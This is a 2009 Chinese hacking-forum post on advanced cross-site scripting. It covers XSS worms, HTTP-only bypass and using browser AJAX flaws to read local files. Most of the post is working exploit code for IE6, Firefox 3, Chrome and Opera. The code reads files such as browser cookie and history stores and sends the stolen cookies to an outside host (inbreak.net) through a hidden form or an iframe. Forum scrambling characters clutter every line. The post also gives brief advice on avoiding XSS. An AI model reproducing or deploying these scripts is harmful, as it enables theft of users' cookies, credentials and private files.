XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页" Q0 J) m7 B+ R) L8 k
本帖最后由 racle 于 2009-5-30 09:19 编辑 , I1 U; {* ~6 B, k" Z5 Z
d* f3 B8 o- x$ l+ g5 o- eXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
7 j H+ |2 q3 C2 Z T6 a( K/ UBy racle@tian6.com ) e5 k* T8 V) g1 |; ^
http://bbs.tian6.com/thread-12711-1-1.html
9 z# [2 \! P; _# q转帖请保留版权
# H: U. A: ]% y/ Z- i+ R# ^0 `2 c6 g; f" P; R m* k5 _6 \( u
* o5 u. n; i+ Q4 J: h# y5 v" B, a% S2 b
7 T8 p% |. {0 i, g; X1 r( i9 A-------------------------------------------前言---------------------------------------------------------/ b; L+ { j- ]3 ~* R3 m
) q# m. I# W; @* z( ~! ~* C3 F1 c* @& ]
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
2 b N7 k: _, L6 H* X6 z6 Y7 s/ X9 t2 M# V2 S j
Q$ a7 Z- l. p; I5 x5 o. N/ ~
如果你还未具备基础XSS知识,以下几个文章建议拜读:
4 e* E. r, q3 q/ o0 H2 mhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介: [$ d% e+ g7 k
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全0 W' Q" ]0 _& [
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过- e# v6 S2 S& g& e3 ?
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF% H* M4 H) P2 f0 ]! |; e* b
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
3 v- ^; k7 {5 p* K* ehttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
S3 h: F" b" t0 m, Z C8 Z6 t0 a) p- U3 x; l
$ }# Q+ l: P' r3 j$ S8 M9 s6 J' `. D- W5 H9 k$ H$ `4 n% D; q
" j0 |' V; g% C3 J6 K1 A5 j0 U- _如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
* R% W' _2 S0 y( A
( [4 z1 R: g4 C希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
6 M; }# ^6 M1 T* i4 E. v, K g( j
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
+ U/ }8 p% J( D' E$ L% k: R, @ y( j' {- Z- c6 v) A I
Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
; l# B- T2 i& z) \7 P+ c( D" p4 `, z% p3 z% h
QQ ZONE,校内网XSS 感染过万QQ ZONE.
2 q1 M2 ?* [5 M7 |' h9 _, d) T- B) p# C4 t/ w# B
OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪& o+ `& M- }/ }7 e7 T* A+ A
, ]# P" X7 D9 }/ N..........2 k& ]3 V8 A7 N
复制代码------------------------------------------介绍-------------------------------------------------------------% D. p; v4 B& u" @4 m
" @2 g/ |6 c. n9 O2 Y7 ~什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.; ^: r4 c: L2 y0 w
" O& Y* |+ D C4 c
' u6 r2 z% H, o; |" N O$ B
. i' C4 U7 `8 s7 y: N跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
. ?1 ~6 R# n+ X& x. ~. \+ e: M8 v3 j, M! {' c! j2 K
) B& q2 w% Z/ x7 v# j4 r3 `/ h! b" j Q l8 N" S
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.' @9 j/ e/ E. W' u# Y7 d
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
2 q3 Y1 D* v4 f) ^我们在这里重点探讨以下几个问题:3 R) H7 k; j# X. m" l) I
. Z& v* m, T* G
1 通过XSS,我们能实现什么?4 K6 W9 F5 [4 n2 W
! J- X# ~ f& a: Z. I+ E+ w* ?
2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
; r! }, x4 E5 s: C
4 a7 w" M. m/ L( r* X8 i. N3 XSS的高级利用和高级综合型XSS蠕虫的可行性?# j* S* l6 I# [- F
4 v8 k0 p5 |5 A
4 XSS漏洞在输出和输入两个方面怎么才能避免.
: G- }1 M. @" X" t8 O) [. h
, w- J; W6 w' s' ?
# l" X% A9 }) J6 C& Y2 e4 |- q5 i# \6 b
3 s! U1 p- k5 c" n: ~; b4 G------------------------------------------研究正题----------------------------------------------------------
! S$ d6 H5 I+ H+ D/ J! A
- y) g2 J7 K4 a/ I, k2 N; u+ n6 w, P, |. E2 o9 l
# k; j/ S1 B0 ]2 n通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.. \4 R# o0 k$ q% y2 G& K( X* V$ ^
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
. Y4 f( i! y4 ^! z复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
$ o" H- c. \7 W+ w1 @- t- A1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.- b) d: p* U9 o# @/ [
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
0 I G2 C2 ?8 T, ?( ] S3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
2 O# v. `. q! w4:Http-only可以采用作为COOKIES保护方式之一.
_* q! v3 f7 t; \! y$ ]' P/ {1 \0 |
/ T! h7 @# i8 j% S& [8 n% |7 z
7 B2 D E# H ]" s; e5 M
% Z0 t. y8 m; C1 F$ U) x
" ~# `. ?( G. Y
2 D7 p: n& H' k2 r; k0 U0 V- L(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)9 X) l1 ^# X+ A0 ^5 a5 L( Q7 L# J
# N# p" g! I) U2 W我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
# O7 s4 B' R4 Y, F! d- c
2 |. B/ A2 k% o: G) z: x; |& I. R/ A8 q, {" y" H& V
! J( D9 r# i, `1 }+ x6 s, {1 X 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
3 \9 [( V/ B3 x/ K( m$ y: J( e
: T; i2 g2 {1 ^8 q* `) \) T, @% X3 B: F3 s& a
% [- M( U% w/ W6 t2 Y/ x" X 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。8 j+ C( [: \2 S! o
7 z0 o w; t% G, U
6 m( T9 R0 s8 x6 v: w: ]" T4 j- J9 O" f9 u- i z0 y% a
4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
( n& K7 k# d2 t4 Q! o! N9 l2 y! N复制代码IE6使用ajax读取本地文件 <script>' P U; a1 [. l
( X; g. k3 X& u& ^
function $(x){return document.getElementById(x)}) G8 u9 l, u1 I
8 X: ~1 Y; ?( {0 Y0 f5 E
8 [8 P0 h7 S" q5 v) S( h0 A! _+ G
function ajax_obj(){* L j& Q- L: ^
2 E9 {4 p) [5 U2 Y5 C+ N& P var request = false;/ r; p$ b( v8 w- Y% h& p3 j( R8 h
* ^. u( o: m6 k; k) B/ @ if(window.XMLHttpRequest) {& B1 w0 a$ o+ V
4 H9 |0 C; w5 _3 A4 K$ q request = new XMLHttpRequest();
- v: c- l1 W) k E# d
# f4 W- P; A. D5 @ q, ~; H } else if(window.ActiveXObject) {) `& d8 n7 a% z9 J
& `$ z; g! d3 z% B; a* k3 Z var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
( t6 \1 M0 u ^
- t& o& e! i; ^1 x. m
k: n& e) Y! K% ^7 Y0 f/ `8 F/ ~* C+ @4 R
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];/ _) T+ a0 j5 `4 ~) ]$ \
. K1 G- S# {# t6 K3 x8 p3 B( ~
for(var i=0; i<versions.length; i++) {- P3 A: h/ X9 Q" F. B! g7 o% B
" A$ ^2 J6 p" Z! p0 W try {0 X" j3 @) M W$ _6 p
, s3 f G3 T6 j0 n, t) {" t+ U+ u request = new ActiveXObject(versions);
8 q& T1 m8 N6 m! }
& I$ D8 W* {% G! f8 r } catch(e) {}, b; T, t% O9 m8 |' \8 \! `# K
# {, b) |# o' [ }
5 o, R1 Q, l3 h* w; t: x% m
# n& {- z! F1 K8 P: X" [ }( E% U; O% Q) F4 T& x! B+ u1 t" {
+ s$ K: c$ m0 B- \5 r0 X
return request;$ `7 z' e6 w1 @# I
% b' {( \0 r5 q
}
X1 m! G; }5 k, `8 ]' q8 q" ^
; ?: Q# b$ y, y1 T var _x = ajax_obj();! c2 v# k- W6 r8 N
* c* t# J) |* ^* `; s
function _7or3(_m,action,argv){4 T/ k2 J/ X- e6 V7 h# T1 K$ u
/ r0 A" H* D3 ^: A _x.open(_m,action,false);
5 s$ G2 u8 p% X4 h
* w5 l* M9 {# O if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
* ~2 s) J. ?1 F: W3 d, u# L- o4 H _6 O# |% Q; S1 \
_x.send(argv);
( K( e- q( w$ |% R% L2 x" R0 h0 v/ t* n+ @4 L9 A& n
return _x.responseText;
3 Q$ S# E8 g5 ^7 N n6 `7 w& x0 b9 E7 a
}+ |1 _8 X0 w. w# e' g) Z4 _
9 M( b9 E" c( F9 h) F4 o4 P! E8 n$ W
8 j# X5 j. `( k, N, k
( J9 t% d, c2 J( M$ C
var txt=_7or3("GET","file://localhost/C:/11.txt",null);
( B6 }; t7 ^/ P3 R
# m7 O" U, k" @$ R3 |3 ?- H5 N alert(txt);7 X4 e1 M/ `: ^/ v1 ?
# b, }0 Q/ U, C1 b; u( ?) E
5 M2 ~+ ~7 y; ]3 _% M8 M" I4 L M
" ^' E7 M6 m* D </script>: n4 ]+ C' m( k, T
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
! A7 X% C& F& I* s `5 F2 \& n8 d, O5 u: P$ R1 @9 e
function $(x){return document.getElementById(x)}
8 j9 w' y# U2 r5 \- N; E7 r3 w. J9 N( k; }
8 K5 J% ?5 P& g6 Q+ \( }+ n3 b+ |5 M5 Z( u
function ajax_obj(){' I; Y7 _/ t/ `1 g/ k# r
1 C& x0 \3 O+ x+ J2 p var request = false;
2 N% b/ t, e! p" i( V" P* N& N3 }0 T F* J: q: L7 [
if(window.XMLHttpRequest) {% }5 J# ~& ]( p# J' \+ u
8 u- q+ e+ c5 {& T$ Q% ? request = new XMLHttpRequest();
. [7 Z5 U, Z- w c5 J3 x; [) t+ z8 [ L/ q$ k' n3 d9 @% |
} else if(window.ActiveXObject) {
2 n7 n2 N( u; y: R
- {& [$ c) a' J- y9 x var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',6 r1 U' Z, _. |$ N2 z( Z: ]
6 O s) [7 C+ Z/ Z4 Q5 @; L3 _' w& R5 a7 a$ Q- j6 T; `
" O* P& b+ v6 R- C
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
7 c% g+ r! \1 j$ ?! F! V' U* m+ {' e2 a' P1 A6 ^
for(var i=0; i<versions.length; i++) {& ~/ S/ u' M: S' ]
7 ?+ j1 x' O7 w9 Y5 ~( K try {
3 T4 l7 e' _) a7 f# h G7 d R' O
request = new ActiveXObject(versions);" c( p, X6 ^" _% ]5 [
0 X: [7 x, e" _" B5 \
} catch(e) {}% Y: F* D( Y; T6 D- C* `" R4 J; M! L
9 W. v% ]/ Q6 U. |
}* s& a& D/ S6 C: o7 [5 {. b" d
4 ?6 n9 |0 ^- i" |# q2 S }& N2 Z9 E& R0 P# v# v) l/ m$ r9 ?
& l5 W4 ^+ U+ W1 p/ J1 p
return request;* Y6 p8 _( O7 l4 c
$ h% x6 Z+ M' t0 }
}' l, G9 {$ ]! ?4 j, a$ _5 t" P7 S0 j6 ]/ r
4 M$ @4 n! c* G- w var _x = ajax_obj();! o) u% y$ |* p1 k: d! K
; D1 H; f" S- w& L" \
function _7or3(_m,action,argv){
& J- K& ^/ O0 V9 K+ K6 M+ [( R( Q, f" K2 k2 V, f4 C
_x.open(_m,action,false);. L6 X3 j0 m8 q* y6 \9 [, @0 l
7 X- y" B% h6 x# t0 C1 I. u; L- S
if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); C# v6 w6 Q4 j' _. E
3 ~( [& u$ |( S6 d9 `! p# o T _x.send(argv);9 d- A$ i7 j/ a9 W0 c; f. I
" d6 K: e: V9 o) e& X
return _x.responseText;3 S; s* z! y, M. I
! \3 k+ y4 o' q- t! [! i- C' M! F }! B4 J( g; q8 ?$ q
: l! h9 {' m5 K" n- L7 O9 P
h' m. X) ^2 g- \; x
2 \* w3 j3 v1 O; [& G
var txt=_7or3("GET","1/11.txt",null);
! y+ z8 L( T; [* ` \" D' N3 k8 h* }8 k" ^6 _
alert(txt);- O0 b7 n9 v( `* }
' ]' W) [( b% w+ G5 s
5 g2 i# U. a9 U" g& Q9 s- u, z( ~; w5 B4 F
</script>. s( l% X( e) @5 p
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
# Q2 W1 O2 T# D, ~: Q- S1 U9 |9 K9 S
# m% x j/ g5 W1 u: a3 N
+ r4 E: E0 B) B, U; v) C1 I! H$ ^8 C$ d; ]. ~4 Z1 e! J0 I
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"6 V% A- _' z8 S- i
/ q7 O1 ?) v. Z$ J- @6 D B1 _) g7 @/ Q( b+ o' x+ A' @
% M- B, o* a# Y& A
<? k9 f$ J0 r( c; i9 |, D
9 d7 u: A' r5 c0 _; J# i( \/* , X7 J. A4 z+ E% E
( Z) A- @7 \8 X
Chrome 1.0.154.53 use ajax read local txt file and upload exp
$ \) R8 k9 ^' }
6 G) N; Y, }' C www.inbreak.net % W: T8 q- D1 j- i) c
7 t- S: | J& z% e2 K2 i( k9 B
author voidloafer@gmail.com 2009-4-22
8 n/ {$ r q0 ~- Y. t) G# }2 M; n$ k5 `! Y
http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
" L- C, \/ M* P3 V& K- f; y4 c) f; T2 F
*/
) e b8 `6 G8 I4 E
) w4 @0 S: l7 J$ w4 {& L; \& Qheader("Content-Disposition: attachment;filename=kxlzx.htm"); 3 I5 L' T& O2 H" B. a) ]) c5 F
( D) @; n3 k t: B2 ]- K- P$ d5 I/ |header("Content-type: application/kxlzx"); - E5 R- t: X) @) @8 W
4 X- ^( C A2 F2 x5 Y/* ! q( `- z h6 p0 J' n
5 ]# c5 Z+ w5 I: X6 b9 v
set header, so just download html file,and open it at local. : @: u# T: @5 r0 n* U5 r
0 M4 f5 d- M9 L- I; }: [*/ / R6 f* z% S! _4 d0 t
! W& ~0 d! A$ c- u
?>
1 h/ G5 {8 u& x$ _1 g
/ j2 F9 f1 g, z<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
* M& ]/ D8 `( J% i5 O& ~
: K1 C$ `1 w( p" J$ L4 ? <input id="input" name="cookie" value="" type="hidden">
' P% y) O# c' q$ J+ t& G2 [
/ Z; d9 `( W- g5 P1 ]% v, a</form>
3 c) \9 r% f. F$ V7 Y6 _: M' j9 N2 k
<script>
1 }; k/ ?- |2 z h, m/ W
# |- s' ^* z) O- h6 wfunction doMyAjax(user)
; r( Z6 Y/ ~5 L) o* A8 M0 v) r$ y8 {5 m [5 N/ Q/ z
{ ) _3 R/ M% {9 c; i/ z; `
' |! g% ]7 w! O; ]var time = Math.random(); $ ^. u/ k" o. a6 W
& J& T4 g. J1 R0 z
/*
$ J. ^3 U, ` r2 l P2 F
6 b& ~+ y; j* S, R( f" ~the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default , l8 p+ M( S3 C3 i x; n& Z( ~, `6 Q+ I
4 W! I5 C5 r7 D6 d5 ~1 L
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
, J5 h! Q; Y; _) [! i+ v# |1 B8 U( J& w! \
and so on... * Y2 ?9 X! I5 d8 Q0 d
2 N4 Y' A; O3 }+ J
*/ $ m; g: u6 X+ @+ I: L" v3 _
7 ?' p' Y1 t" |* m; f1 x3 ovar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
7 c2 d0 K5 \: A) I% f/ o) z1 w) I4 ^5 u8 ?9 D1 F
- X4 R: \( u( {2 k
& w- T, I2 p- ^" i2 `8 J; GstartRequest(strPer);
! Y. @: ]2 Z4 x" |1 T- d* l
/ C2 }9 x/ R5 r P$ Q) s! f+ j: |, V* P$ Y! x0 z+ L
Z$ e( [; N. i9 B/ d
} . [# I7 h% A( G
! R h8 m7 T4 x7 S) Z # D( R+ G7 S1 K) i' x3 A- \
, B0 G) _- p. Q9 P$ A+ x% `
function Enshellcode(txt) # M! Z+ ^# _% U8 u
' c G2 {4 y2 V3 [- p! K{ % |, H; M+ a- y. L; K3 G8 K: \
9 b# D! G; r H! s( _var url=new String(txt);
$ ?5 I ?: {; i: g5 Y, I
+ V8 [) [* {5 \$ u! gvar i=0,l=0,k=0,curl=""; , y5 }; r: [$ U9 s' x8 Q2 a: V
! I' x ]! q2 e" z
l= url.length;
* @6 {4 S/ v7 t: w; _2 ?, c
- E; c+ J0 T- G3 i, F( Zfor(;i<l;i++){
9 e. T3 i$ Y0 ~2 c/ q3 q2 P4 D% l% K+ o- b
k=url.charCodeAt(i);
) A5 C6 i: h: c; A# {3 N
2 b7 F1 i1 r, M% q3 {2 m9 \% d7 R& `if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 0 z8 N$ S) o" Y* A+ |0 `
( F: u i( ?& Q; `0 K; h+ c
if (l%2){curl+="00";}else{curl+="0000";}
5 j, K/ x) x# K# r/ ~% A- ], h% P. K) U: V! r
curl=curl.replace(/(..)(..)/g,"%u$2$1");
3 o) c2 c! }# {8 C6 q8 f3 t7 M1 P/ U2 F
return curl;
5 ~9 s1 `) M" E. k5 x/ x6 S6 w9 R8 ~) E+ }* I5 v
}
+ K, l5 S9 S$ R- @! ?( T2 K9 C3 `! S: d$ B, h0 e7 c f
( C1 f6 b5 b3 }
# H8 }' j& V: W( n. j; r7 {- P5 s
; O1 ^8 c' ]6 S6 ]# X6 T6 b# ^8 X7 R+ }8 ?. e6 T+ o
var xmlHttp;
. S6 R% K2 s/ q0 K4 y6 ?! j; b* Q8 V: y: \3 e
function createXMLHttp(){ * _! I: t( M" m( }& I$ S7 \" |3 D
0 f3 B1 B* s7 b6 S if(window.XMLHttpRequest){ * k& |% B+ m! Q C
) u1 I4 A# {" \8 X: ^; HxmlHttp = new XMLHttpRequest();
9 q8 m9 ? g3 y0 h3 w
0 _" a5 D4 G0 F& z }
* K% ]9 D% ]8 L) v1 o
6 ^2 y6 m) |3 @' ^- t% u( w else if(window.ActiveXObject){
# ~, s# b) S( N% o& |. [4 `( a8 P1 I/ _3 M
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); + A) K; e" n% N7 ^0 Z/ F l
) B, ~" v% j% |
} . Y" b6 E) _6 m, u
1 ^4 ]( `4 ? Y8 d; s& B9 H1 [" t9 N} 2 f8 v" k3 \" Z+ v, b4 k" w8 b
, D6 i, n/ N( |8 X, O2 x4 X! a
3 j$ ]$ F* n# s, b8 _1 W
& y& _- e: C) D4 [function startRequest(doUrl){
. X# s% S/ p0 }* n
2 y6 w" E6 Y; h) _! b : S b( \: }8 o
" k1 ~- Q" W8 @ createXMLHttp();
/ Y' X* s# [' w" ] I) a0 u
`1 B, i+ V, X4 `" o/ {3 @0 X; u6 R' Z8 }; I1 A
+ V% ?) r0 b/ N+ o) C
xmlHttp.onreadystatechange = handleStateChange;
# f. O! [9 A) H% `7 p8 u# C" a. \$ {" S A" O% m" D# Y/ W& u
1 m) R# D+ t) U% V- f7 l! t) c3 \4 q$ ~* h8 e
xmlHttp.open("GET", doUrl, true);
! c- t; l# t& S; L, u$ H
& [/ g" s# e% H9 l" m7 C
4 G$ a2 b( M& W) o; S5 {
! [4 e' k6 B3 M$ K5 W7 ] k xmlHttp.send(null);
3 I4 S9 p9 l q6 [3 ?
2 n( o+ o! u; I' l6 Z: V$ I/ _" `" B+ l4 h
2 Y$ ^# B4 V' \' S) o0 \5 i
& x4 X2 e( l/ p9 y" t" U% _. |4 n) E
}
( p; r) N8 @ A, V1 m. n' i' `! r
3 U5 K9 v) E8 m/ i) t$ a# h* f/ r
' S3 ~( a8 U1 ^
function handleStateChange(){
$ {/ k. F4 O f
3 {( U$ D0 h9 a( u. q! n if (xmlHttp.readyState == 4 ){
1 { c9 S; H% S* n0 E: _9 T( G0 g: d& n2 l5 _. l
var strResponse = "";
( ]! \( O% r3 g. ]5 N
, v6 k* L( [" N K2 ` setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
+ p9 y# u* g0 k( X. e) G
/ X) G* B1 ?0 c8 W* k. l
: B4 B Z, [* M8 X/ S
! `; g& a: a$ ~/ ~ } * p/ E; ^3 C' D) d/ e9 U3 n
$ W( M( U/ y( ?2 k2 i4 v
} 6 |( b9 \1 p, L- D, L. G
" @9 P" a& |& @ ^! B
( ` a: t Y. o; K+ Y9 c* r$ I+ a, Y* U3 x* i' k" U
3 L. y# G4 x! F7 a
+ U/ l; K$ G/ `2 w& Vfunction framekxlzxPost(text) : b4 E6 z u) o; N! s
/ R9 p2 ]4 H Y3 K2 A0 o* D0 W
{
" P0 k: F; N* I9 N# h, X& Y$ A! W7 \% b
document.getElementById("input").value = Enshellcode(text); ! P, i# s( a: n! R$ J
# {/ w' o0 a, q document.getElementById("form").submit();
% w- s' }7 c- R7 y) J8 Q" `
% x& W4 Y5 h0 h3 X} 2 P# x, Q+ E6 u; N: |! }
# v# y9 }6 F; X( H4 K a1 M* D K2 i+ ?4 F7 ~8 @) e' F$ E( v
5 {/ n4 J2 {$ c! R( u( c; ldoMyAjax("administrator"); 8 O$ V# w3 S. V! N* u5 Q" E
/ {: I7 G' ^$ g% q
: Y! a3 N2 S& _
( `* }! r4 f9 ?7 F</script>6 j+ I7 _ [) X2 D- \4 A+ E2 H
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> $ O9 s- c$ ?' ?; _% S f
* Y2 V/ y+ l E
var xmlHttp;
" X& P! P) Y e0 Q4 S8 X6 j" N7 q7 I. F& t
function createXMLHttp(){
, x) @- @4 t6 P- p
8 {3 e t& U% }5 a# d if(window.XMLHttpRequest){ 5 K$ ^* ?+ v1 u9 m
. z4 L+ e" {6 w* S% n
xmlHttp = new XMLHttpRequest(); , t S5 {6 N3 o0 K
5 O s* ~0 C5 t; M5 f8 z
}
' s5 l; v& i- j: Z3 B( }" P$ y+ B6 U/ Y% O, v- _5 P
else if(window.ActiveXObject){
0 @' f4 H3 m7 L6 w1 e! ^+ `& b
2 i& z- a/ D; x7 D6 r4 n) p xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
! L3 d. ]" o- f4 r5 b7 H8 I1 Z! p8 }$ _3 A3 C! ?. t/ V; k
} 0 j8 r) D6 D' j" K( r
) j2 C' t4 z1 s
} + ], }& n* @3 X: Y: j0 M) k7 _
& N. a! z5 {& p, {/ J; }
+ D& Y. U- o! |) H+ p
g% A/ F1 k9 \7 i* G. e( Nfunction startRequest(doUrl){
9 ~) n( [2 F' k, Q& N7 e, E) u# p5 I; i6 T1 {& T
$ O5 R0 g* r c7 X7 K
2 m$ Y0 j* r% | createXMLHttp(); 2 f5 j- B5 {! `* j! D) C* |
1 n s, U+ b- w6 V) o! X7 d6 k
6 L* v9 P2 s1 Z: Y) j a
# m3 A! H& h' h xmlHttp.onreadystatechange = handleStateChange;
9 V5 Z1 X) `9 ~! t' N- A* \: j* C y; \3 p2 f3 x" X
3 C& o9 q- e. Z
/ K) R! h; ^9 U7 j xmlHttp.open("GET", doUrl, true); + {' j5 n; G1 j- [( b5 x S @2 q
+ h1 C$ p* m3 u. ]2 ]
+ k; U8 s3 D% ?% x" F4 k! Z) K, Z- [; B8 [ O6 Z
xmlHttp.send(null); 5 n: Y: M, @. ?; x
1 [( R4 h% [# T/ z. A7 h
7 o# s4 z9 ] g
0 b& C/ G/ _# u" l& y 3 {7 E4 m: r' X- N3 v
/ E! t% n) b/ n} 9 g& [% ?7 G4 n4 Q
2 W: Y" y7 F3 w% q! @8 g' }* e 3 S2 X$ D4 A' f9 P _1 A+ d
' i8 f! Y; G+ D6 ~2 v. sfunction handleStateChange(){ . R+ Y* C! t8 }
# c6 ?( S8 q$ C6 _; G) p1 ?
if (xmlHttp.readyState == 4 ){
* C9 C/ q" T0 f6 c/ `/ z
$ @& _! U* l) h9 f6 J1 J var strResponse = ""; 8 h. Y6 t0 b9 ~' V3 }$ G
: [1 B% \* ?; q( Q8 c0 y
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
M) O9 ~, _* t! ^7 t
+ R$ n3 {" g; ^0 D! n: f
5 w8 ]- i1 l) J1 g4 U" v* ]$ M& G* M0 S
} 1 `9 Z. B! X) d
0 e4 p) p, F. [8 P2 b' q; I
}
" Y6 p* K: e. c" R5 t4 ^
' _9 q) K$ d- S: a; E
, K d1 f, s& L
) `* J, N( O; ofunction doMyAjax(user,file)
( p4 F3 W, d6 T8 A) b" e4 U9 g6 B/ K" e4 U: A/ A- N
{ . k! _- K5 e8 E3 a. F
9 P5 U) f& E1 a3 k- t7 j, M var time = Math.random();
/ Q, D7 ^: C8 G! z. V
7 y$ _7 ]' W% B$ q0 e- k
1 ]+ k7 {" Z6 {2 w5 m( e! i4 }
6 \* m7 b# V7 | var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
5 b! p; d; z \; T4 \& x( `/ w* p$ u$ m7 M6 g$ i3 K
3 A, z7 t A! s0 V2 X
% G s% I9 i7 l' F; H5 b# K
startRequest(strPer);
$ n2 j) S5 t! C2 m
+ D) g% G% O: C7 r ) p$ Q: h! f" M5 V2 F$ z) w
3 {! W# c: f# X! v: B
}
/ U' \) s. S, A' f2 Y. l) X" j; z
7 T! P" ~$ P: B; A7 y. t. z; p9 v
3 |) ?1 i8 i' O% d, I4 }function framekxlzxPost(text)
6 i4 b0 e/ c8 J: D8 j: h0 v6 T2 U) D! K
{
0 G. ~; R- ^) o' b& n c( E" O# S
( K0 Y# k, T. s/ X$ M" p+ E document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); 4 @& w K1 j+ L1 I- \
5 _ N2 I: U: G: D
alert(/ok/); 8 W2 X8 i+ g+ l: ]' y
# C, v4 k% D0 z
} 3 c2 u. i, }4 N5 T" x7 b
! }' l9 e) M* l! t; b
# A7 Y' A, N# k
3 \# y4 P" V4 o( F$ a" x, m* i
doMyAjax('administrator','administrator@alibaba[1].txt');
) n$ Z2 X, s0 M$ k! O8 Z& R8 t2 c9 c1 ^3 q
- u1 _: f9 n1 A" K/ V
8 S1 p( F7 n3 h+ ^5 T
</script>% b& H2 Y4 w# A7 M
! b( _. T- Z# Z8 N* {% `! B
$ h5 J" r b, w% O9 l: U6 T- X* @
